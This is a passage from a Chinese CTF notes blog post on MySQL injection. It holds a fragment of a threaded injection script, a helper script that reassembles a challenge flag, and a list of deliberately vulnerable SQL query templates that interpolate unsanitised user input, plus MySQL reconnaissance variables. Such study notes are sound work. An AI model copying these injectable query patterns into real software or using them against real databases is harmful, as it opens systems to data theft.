       t = threading.Thread(target=get_content, args=(i,))
       t.start()

    辅助获取flag脚本

    #!/usr/bin/env python
    
    a = '''
    6 4
    7 6
    8 7
    10 a
    9 a
    3 a
    11 8
    16 2
    13 7
    1 f
    4 g
    20 4
    12 e
    2 l
    15 f
    17 e
    18 e
    22 9
    26 2
    21 c
    23 d
    28 5
    25 a
    30 7
    34 4
    27 e
    32 8
    31 c
    37 6
    33 d
    40 0
    36 9
    41 3
    35 c
    38 b
    39 b
    14 -
    19 -
    5 {
    24 -
    29 -
    42 }
    '''
    a = a.strip().split('\n')
    b = []
    for i in a:
    	b.append(i.split())
    for i in range(50):
    	for j in b:
    		if(j[0] == str(i)):
    			print(j[1],end='')

    常见语句

    SELECT * FROM users WHERE id='$id' LIMIT 0,1;
    
    SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1;
    
    SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1;
    
    SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1;
    
    UPDATE users SET password = '$passwd' WHERE username='$row1';
    
    SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1;
    
    INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname);
    
    @@datadir 读取数据库路径
    @@basedir mysql安装路径

    参考链接

    对MYSQL注入相关内容及部分Trick的归类小结

    本文作者:Rayi
    版权声明:本文首发于Rayi的博客,转载请注明出处!